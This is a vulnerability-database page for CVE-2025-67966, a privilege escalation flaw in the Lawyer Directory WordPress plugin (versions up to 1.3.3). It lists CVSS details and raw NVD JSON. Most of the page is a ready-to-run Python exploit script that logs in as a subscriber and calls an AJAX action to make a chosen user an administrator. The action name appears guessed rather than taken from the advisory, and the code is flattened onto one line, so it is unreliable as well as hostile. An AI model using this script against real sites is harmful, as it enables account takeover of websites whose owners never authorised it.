Security Vulnerability Report
中文
CVE-2025-67966 CVSS 8.8 HIGH

CVE-2025-67966

Published: 2026-01-22 17:16:06
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Privilege Assignment vulnerability in e-plugins Lawyer Directory lawyer-directory allows Privilege Escalation.This issue affects Lawyer Directory: from n/a through <= 1.3.3.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lawyer Directory (WordPress Plugin) <= 1.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import re # CVE-2025-67966 PoC - WordPress Lawyer Directory Privilege Escalation # Target: WordPress site with Lawyer Directory plugin <= 1.3.3 def exploit_privilege_escalation(target_url, username, password, target_user_id=1): """ Exploit incorrect privilege assignment vulnerability in Lawyer Directory plugin to escalate from subscriber to administrator. Args: target_url: Base URL of WordPress site username: Low-privilege account username password: Low-privilege account password target_user_id: User ID to escalate (default: 1 = first admin) """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'error' in resp.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the privilege assignment vulnerability # The plugin's AJAX handler doesn't properly check user capabilities exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Craft exploit payload to modify user role exploit_data = { 'action': 'lawyer_directory_update_user_role', 'user_id': target_user_id, 'new_role': 'administrator', 'nonce': get_nonce(session, target_url) # May be bypassable } print(f"[*] Attempting privilege escalation on user ID {target_user_id}...") resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and 'success' in resp.text.lower(): print("[+] Privilege escalation successful!") print(f"[+] User ID {target_user_id} is now an administrator") return True else: print("[-] Exploit may have failed, check manually") return False def get_nonce(session, target_url): """Attempt to retrieve security nonce from plugin pages""" try: resp = session.get(f"{target_url}/wp-admin/admin.php?page=lawyer-directory") match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', resp.text) if match: return match.group(1) except: pass return '' if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] exploit_privilege_escalation(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67966", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:06.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in e-plugins Lawyer Directory lawyer-directory allows Privilege Escalation.This issue affects Lawyer Directory: from n/a through <= 1.3.3."}, {"lang": "es", "value": "Vulnerabilidad de Asignación Incorrecta de Privilegios en e-plugins Lawyer Directory lawyer-directory permite la escalada de privilegios. Este problema afecta a Lawyer Directory: desde n/a hasta &lt;= 1.3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/lawyer-directory/vulnerability/wordpress-lawyer-directory-plugin-1-3-3-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}